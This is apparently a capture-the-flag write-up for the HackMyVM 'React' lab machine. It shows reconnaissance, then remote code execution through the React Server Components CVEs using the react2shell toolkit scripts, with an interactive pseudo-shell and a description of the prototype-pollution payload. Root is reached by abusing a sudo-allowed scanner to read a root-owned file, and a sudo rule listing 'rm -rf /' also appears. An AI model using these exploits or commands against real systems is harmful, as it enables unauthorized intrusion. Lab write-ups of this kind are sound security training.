| Machine | Author | Category | Platform |
|---|---|---|---|
| React | LingMj | Beginner | HackMyVM |
Summary: React is a beginner-level Boot2Root machine that demonstrates exploitation of critical vulnerabilities in React Server Components (RSC) and Next.js framework. The attack chain involves exploiting CVE-2025-55182 and CVE-2025-66478, which allow Remote Code Execution through malicious multipart form data payloads. Initial reconnaissance reveals a Next.js application running on port 3000 alongside a web-based network diagnostic tool on port 80. Exploitation is achieved using the react2shell toolkit, which sends specially crafted HTTP requests to trigger command execution through prototype pollution and JavaScript's Function constructor. The spawned shell provides access as the 'bot' user, and privilege escalation is performed by abusing a misconfigured sudo permission that allows reading arbitrary files through a Python scanner script's error messages, revealing the root flag.
First thing to do is looking for the target's IP:
PS D:\> arp -a
Interface: 192.168.100.1 --- 0x3
Internet Address Physical Address Type
192.168.100.16 08-00-27-e2-c9-e8 dynamic
192.168.255.255 ff-ff-ff-ff-ff-ff static
224.0.0.2 01-00-5e-00-00-02 static
224.0.0.22 01-00-5e-00-00-16 static
224.0.0.251 01-00-5e-00-00-fb static
224.0.0.252 01-00-5e-00-00-fc static
239.255.255.250 01-00-5e-7f-ff-fa staticTarget IP: 192.168.100.16
Do enumeration to know the open ports:
┌──(ouba㉿CLIENT-DESKTOP)-[~]
└─$ nmap -sC -sV 192.168.100.16 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-21 03:35 WIB
Nmap scan report for 192.168.100.16
Host is up (0.0034s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: \xE7\xBD\x91\xE7\xBB\x9C\xE8\xAF\x8A\xE6\x96\xAD\xE5\xB7\xA5\xE5\x85\xB7
|_http-server-header: Apache/2.4.62 (Debian)
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
| x-nextjs-cache: HIT
| x-nextjs-prerender: 1
| x-nextjs-stale-time: 4294967294
| X-Powered-By: Next.js
| Cache-Control: s-maxage=31536000,
| ETag: "vhwrqricd17bt"
| Content-Type: text/html; charset=utf-8
| Content-Length: 9497
| Date: Tue, 20 Jan 2026 20:35:27 GMT
| Connection: close
| <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="preload" as="image" href="/next.svg"/><link rel="stylesheet" href="/_next/static/css/97f208c543225968.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-744ee3f145013e34.js"/><script src="/_next/static/chunks/4bd1b696-6985518451956beb.js" async=""></script><script src="/_next/static/chunks/215-
| HTTPOptions, RTSPRequest:
| HTTP/1.1 400 Bad Request
| vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
| Allow: GET
| Allow: HEAD
| Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
| Date: Tue, 20 Jan 2026 20:35:27 GMT
| Connection: close
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.83 secondsOpen Ports:
- Port 22 - SSH (OpenSSH 8.4p1 Debian)
- Port 80 - HTTP (Apache 2.4.62) - Chinese title "网络诊断工具" (Network Diagnostic Tool)
- Port 3000 - HTTP (Next.js application)
Accessing the web server on port 80 revealed a Chinese-language application titled "网络诊断工具" (Network Diagnostic Tool). This appeared to be a simple web interface, likely for network troubleshooting purposes.
The Nmap scan revealed critical information about port 3000:
Key Headers Identified:
X-Powered-By: Next.js- Confirms Next.js frameworkVary: RSC, Next-Router-State-Tree- Indicates React Server Components (RSC) usagex-nextjs-cache: HIT- Shows caching mechanismx-nextjs-prerender: 1- Indicates pre-rendering enabled
The presence of RSC-related headers (Vary: RSC) was a strong indicator that the application might be vulnerable to recent React Server Components vulnerabilities.
Research revealed that recent versions of React and Next.js were vulnerable to Remote Code Execution through malicious Server Action payloads. These vulnerabilities (CVE-2025-55182 and CVE-2025-66478) affect:
- Next.js versions prior to 16.0.7
- React versions prior to 19.2.1
The vulnerability allows attackers to execute arbitrary JavaScript code on the server by sending specially crafted multipart form data that exploits prototype pollution in the RSC payload parsing mechanism.
Vulnerability Mechanism:
The exploit works by:
- Sending malicious multipart/form-data to RSC endpoints
- Manipulating the
__proto__property to pollute object prototypes - Injecting malicious code through the
_formData.getproperty - Leveraging JavaScript's
Functionconstructor for code execution - Using
process.mainModule.require('child_process')for command execution - Exfiltrating output via HTTP redirect headers or other response mechanisms
I cloned the react2shell exploit toolkit, which provides automated exploitation tools for these CVEs:
┌──(ouba㉿CLIENT-DESKTOP)-[~/hackmyvm/machines/react]
└─$ git clone https://github.com/freeqaz/react2shell.git
Cloning into 'react2shell'...
remote: Enumerating objects: 82, done.
remote: Counting objects: 100% (82/82), done.
remote: Compressing objects: 100% (65/65), done.
remote: Total 82 (delta 24), reused 74 (delta 16), pack-reused 0 (from 0)
Receiving objects: 100% (82/82), 126.12 KiB | 1.16 MiB/s, done.
Resolving deltas: 100% (24/24), done.
┌──(ouba㉿CLIENT-DESKTOP)-[~/hackmyvm/machines/react]
└─$ cd react2shell
┌──(ouba㉿CLIENT-DESKTOP)-[~/hackmyvm/machines/react/react2shell]
└─$ ls -la
total 216
drwxr-xr-x 6 ouba ouba 4096 Jan 21 04:11 .
drwxr-xr-x 5 ouba ouba 4096 Jan 21 04:11 ..
-rw-r--r-- 1 ouba ouba 10375 Jan 21 04:11 CLAUDE.md
drwxr-xr-x 4 ouba ouba 4096 Jan 21 04:11 deps
-rwxr-xr-x 1 ouba ouba 2310 Jan 21 04:11 detect.sh
-rwxr-xr-x 1 ouba ouba 4838 Jan 21 04:11 enumerate-actions.sh
-rwxr-xr-x 1 ouba ouba 6465 Jan 21 04:11 exfil-file.sh
-rwxr-xr-x 1 ouba ouba 3624 Jan 21 04:11 exploit-blind.sh
-rw-r--r-- 1 ouba ouba 49748 Jan 21 04:11 EXPLOIT_NOTES.md
-rwxr-xr-x 1 ouba ouba 3979 Jan 21 04:11 exploit-redirect.sh
-rwxr-xr-x 1 ouba ouba 4611 Jan 21 04:11 exploit-reflect.sh
-rwxr-xr-x 1 ouba ouba 2434 Jan 21 04:11 exploit-throw.sh
-rwxr-xr-x 1 ouba ouba 5114 Jan 21 04:11 exploit-urlencoded.sh
drwxr-xr-x 2 ouba ouba 4096 Jan 21 04:11 external-pocs
drwxr-xr-x 7 ouba ouba 4096 Jan 21 04:11 .git
-rw-r--r-- 1 ouba ouba 455 Jan 21 04:11 .gitignore
-rw-r--r-- 1 ouba ouba 182 Jan 21 04:11 .gitmodules
-rw-r--r-- 1 ouba ouba 1349 Jan 21 04:11 LICENSE
-rw-r--r-- 1 ouba ouba 256 Jan 21 04:11 package.json
-rw-r--r-- 1 ouba ouba 15510 Jan 21 04:11 PAYLOAD_REFERENCE.md
-rw-r--r-- 1 ouba ouba 18202 Jan 21 04:11 README.md
-rwxr-xr-x 1 ouba ouba 8303 Jan 21 04:11 shell.sh
-rwxr-xr-x 1 ouba ouba 1524 Jan 21 04:11 test-size-limit.sh
-rw-r--r-- 1 ouba ouba 10598 Jan 21 04:11 USAGE.md
drwxr-xr-x 4 ouba ouba 4096 Jan 21 04:11 vulnerable-next-serverThe toolkit includes several exploitation scripts:
- detect.sh - Vulnerability detection probe for CVE-2025-55182/66478
- exploit-redirect.sh - RCE via HTTP redirect header exfiltration
- exploit-reflect.sh - RCE via response body reflection
- exploit-throw.sh - RCE via thrown error messages
- shell.sh - Interactive pseudo-terminal shell
- exfil-file.sh - File exfiltration utility
- enumerate-actions.sh - Server Actions endpoint enumeration
First, I confirmed the target was vulnerable using the detection script:
┌──(ouba㉿CLIENT-DESKTOP)-[~/hackmyvm/machines/react/react2shell]
└─$ ./detect.sh http://192.168.100.16:3000
[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://192.168.100.16:3000
[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern
[*] Response body:
0:{"a":"$@1","f":"","b":"hDdKHNo1UJL-Lyo7H7gUa"}
1:E{"digest":"1949546682"}
[!] This server is running a vulnerable version of React RSC / Next.js
[!] Upgrade to Next.js 16.0.7+ or React 19.2.1+ immediatelyVulnerability Confirmed!
The detection script identified the vulnerability through:
- HTTP 500 status code with specific error pattern
- Presence of
E{"digest"in response body - RSC-specific error structure indicating vulnerable payload parsing
This confirms the server is running a vulnerable version of Next.js (pre-16.0.7) or React (pre-19.2.1).
Tested command execution using the redirect exfiltration method:
┌──(ouba㉿CLIENT-DESKTOP)-[~/hackmyvm/machines/react/react2shell]
└─$ ./exploit-redirect.sh http://192.168.100.16:3000 "id"
[*] React2Shell Exploit - redirect exfil mode
[*] Target: http://192.168.100.16:3000
[*] Command: id
[+] HTTP 303 - Redirect exfil successful
[+] Command output:
----------------------------------------
uid=1000(bot) gid=1000(bot) groups=1000(bot)
----------------------------------------Success! Command execution was confirmed as user 'bot'.
How the redirect exploitation works:
- The exploit sends a multipart form payload with prototype pollution
- Injects JavaScript:
process.mainModule.require('child_process').execSync('id') - The output is captured and embedded in a redirect URL
- The exploit extracts the command output from the
X-Action-Redirectheader - Returns:
uid=1000(bot) gid=1000(bot) groups=1000(bot)
Established an interactive shell using the shell.sh script:
┌──(ouba㉿CLIENT-DESKTOP)-[~/hackmyvm/machines/react/react2shell]
└─$ ./shell.sh http://192.168.100.16:3000
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-55182 Interactive Shell ║
║ React Server Components RCE ║
╚═══════════════════════════════════════════════════════════╝
[*] Connecting to http://192.168.100.16:3000...
Connected!
User: bot
Host: React
CWD: /opt/target
Type 'help' for available commands. Each command is a new HTTP request.
bot@React:/opt/target$The interactive shell provides a pseudo-terminal experience where each command triggers a new HTTP request with the exploit payload. This creates the illusion of a persistent shell while actually executing individual commands through the RCE vulnerability.
Explored the application directory:
bot@React:/opt/target$ ls -la
total 292
drwxr-xr-x 6 root root 4096 Dec 13 22:19 .
drwxr-xr-x 4 root root 4096 Dec 13 23:01 ..
drwxr-xr-x 2 root root 4096 Dec 13 21:58 app
-rw-r--r-- 1 root root 465 Dec 13 21:58 eslint.config.mjs
-rw-r--r-- 1 root root 480 Dec 13 21:58 .gitignore
drwxr-xr-x 7 root root 4096 Dec 13 22:00 .next
-rw-r--r-- 1 root root 158 Dec 13 21:58 next.config.ts
-rw-r--r-- 1 root root 228 Dec 13 22:00 next-env.d.ts
drwxr-xr-x 299 root root 12288 Dec 13 21:58 node_modules
-rw-r--r-- 1 root root 620 Dec 13 22:01 package.json
-rw-r--r-- 1 root root 228555 Dec 13 21:58 package-lock.json
-rw-r--r-- 1 root root 94 Dec 13 21:58 postcss.config.mjs
drwxr-xr-x 2 root root 4096 Dec 13 21:58 public
-rw-r--r-- 1 root root 1450 Dec 13 22:18 README.md
-rwxr-xr-x 1 root root 99 Dec 13 22:19 start.sh
-rw-r--r-- 1 root root 713 Dec 13 21:58 tsconfig.jsonThe directory contained a standard Next.js application structure:
- app/ - Next.js app router directory
- .next/ - Build output directory
- node_modules/ - Node.js dependencies (299 subdirectories)
- package.json - Project dependencies and scripts
- next.config.ts - Next.js configuration in TypeScript
- start.sh - Application startup script
Navigated to the bot user's home directory:
bot@React:/opt/target$ cd
bot@React:/home/bot$ ls -la
total 28
drwxr-xr-x 3 bot bot 4096 Dec 13 23:03 .
drwxr-xr-x 3 root root 4096 Dec 13 22:16 ..
lrwxrwxrwx 1 root root 9 Dec 13 22:51 .bash_history -> /dev/null
-rw-r--r-- 1 bot bot 220 Dec 13 22:16 .bash_logout
-rw-r--r-- 1 bot bot 3526 Dec 13 22:16 .bashrc
drwxr-xr-x 3 bot bot 4096 Dec 13 23:03 .npm
-rw-r--r-- 1 bot bot 807 Dec 13 22:16 .profile
-rw-r--r-- 1 root root 44 Dec 13 22:17 user.txt
bot@React:/home/bot$ cat user.txt
flag{user-[REDACTED]}Note: The .bash_history is symlinked to /dev/null, indicating the system administrator wanted to prevent command history logging.
Checked sudo privileges for the bot user:
bot@React:/home/bot$ sudo -l
Matching Defaults entries for bot on React:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User bot may run the following commands on React:
(ALL) NOPASSWD: /opt/react2shell/scanner.py
(ALL) NOPASSWD: /usr/bin/rm -rf /Critical Finding: The bot user can run two commands as root without a password:
/opt/react2shell/scanner.py- A Python-based React vulnerability scanner/usr/bin/rm -rf /- Dangerous recursive delete command (likely a trap/honeypot)
The second command is clearly dangerous and would destroy the system if executed. The first command, however, presents an interesting privilege escalation vector.
Examined the scanner script permissions and contents:
bot@React:/home/bot$ ls -la /opt/react2shell/scanner.py
-rwxr-xr-x 1 root root 19627 Dec 13 22:51 /opt/react2shell/scanner.py
bot@React:/home/bot$ cat /opt/react2shell/scanner.py
#!/usr/bin/python3
import argparse
import sys
import json
import os
import random
import re
import string
from datetime import datetime, timezone
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from typing import Optional, List, Dict, Tuple
try:
import requests
from requests.exceptions import RequestException
except ImportError:
print("Error: 'requests' library required. Install with: pip install requests")
sys.exit(1)
try:
from tqdm import tqdm
except ImportError:
print("Error: 'tqdm' library required. Install with: pip install tqdm")
sys.exit(1)The script is a comprehensive React2Shell vulnerability scanner that accepts a list of target hosts and attempts to detect CVE-2025-55182 and CVE-2025-66478 vulnerabilities.
Key Function Analysis:
1. File Reading Function:
def load_hosts(hosts_file: str) -> List[str]:
hosts = []
try:
with open(hosts_file, "r") as f:
for line in f:
host = line.strip()
if host and not host.startswith("#"):
hosts.append(host)
except FileNotFoundError:
print(colorize(f"[ERROR] File not found: {hosts_file}", Colors.RED))
sys.exit(1)This function reads a file line-by-line and treats each
line as a hostname. Crucially, when run with sudo, it can read any file
on the system, including /root/root.txt.
2. Host Normalization Function:
def normalize_host(host: str) -> str:
host = host.strip()
if not host:
return ""
if not host.startswith(("http://", "https://")):
host = f"https://{host}"
return host.rstrip("/")This function attempts to normalize what it thinks is a hostname by adding https:// if missing. When the "hostname" is actually the flag content, it will try to connect to https://flag{...}.
3. Error Handling:
def send_payload(target_url: str, headers: Dict[str, str], body: str, timeout: int, verify_ssl: bool) -> Tuple[Optional[requests.Response], Optional[str]]:
try:
response = requests.post(
target_url,
headers=headers,
data=body,
timeout=timeout,
verify=verify_ssl,
allow_redirects=False
)
return response, None
except requests.exceptions.SSLError as e:
return None, f"SSL Error: {str(e)}"
except requests.exceptions.ConnectionError as e:
return None, f"Connection Error: {str(e)}"When the script tries to connect to an invalid hostname (like the flag content), it generates a detailed error message that includes the original "hostname" - which is actually the flag!
The exploitation technique works as follows:
- Run the scanner with sudo privileges (allowed via NOPASSWD)
- Point it to
/root/root.txtusing the-l(list) parameter - The script reads
/root/root.txtas a "hosts file" - It treats the flag as a hostname:
flag{root-[REDACTED]} - It normalizes this to:
https://flag{root-[REDACTED]}/ - It attempts an HTTP connection to this invalid hostname
- The connection fails with a DNS resolution error
- The error message includes the complete "hostname" (our flag)
Executing the exploit:
bot@React:/home/bot$ sudo /opt/react2shell/scanner.py -l /root/root.txt
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[ERROR] flag{root-[REDACTED]} - Connection Error: HTTPSConnectionPool(host='flag%7broot-[REDACTED]%7d', port=443): Max retries exceeded with url: / (Caused by NameResolutionError("HTTPSConnection(host='flag%7broot-[REDACTED]%7d', port=443): Failed to resolve 'flag%7broot-[REDACTED]%7d' ([Errno -2] Name or service not known)"))
============================================================
SCAN SUMMARY
============================================================
Total hosts scanned: 1
Vulnerable: 0
Not vulnerable: 1
Errors: 0
============================================================Success! The error message revealed the root flag clearly: flag{root-[REDACTED]}
Attack Chain:
- Network Discovery - Identified target IP via ARP scanning (192.168.100.16)
- Port Enumeration - Discovered SSH (22), Apache web server (80), and Next.js application (3000)
- Service Identification - Identified Next.js with React Server Components via HTTP headers
- Vulnerability Research - Researched CVE-2025-55182 and CVE-2025-66478 affecting RSC
- Tool Acquisition - Cloned react2shell exploitation toolkit from GitHub
- Vulnerability Detection - Confirmed target vulnerable using detect.sh script
- Initial Command Execution - Achieved RCE as 'bot' user via exploit-redirect.sh
- Interactive Shell - Established pseudo-terminal using shell.sh
- User Flag - Retrieved from /home/bot/user.txt
- Sudo Enumeration - Discovered NOPASSWD sudo permissions for scanner.py
- Privilege Escalation - Exploited scanner.py for arbitrary file read via error message leakage
- Root Flag - Extracted from /root/root.txt through DNS resolution error
Key Vulnerabilities Exploited:
- CVE-2025-55182 / CVE-2025-66478 - React Server Components Remote Code Execution
- Prototype Pollution - Exploited via crafted multipart/form-data payloads
- Misconfigured Sudo Permissions - Arbitrary file read through scanner script
- Information Disclosure via Error Messages - File contents leaked in DNS resolution errors
- Insufficient Input Validation - Scanner treating file contents as hostnames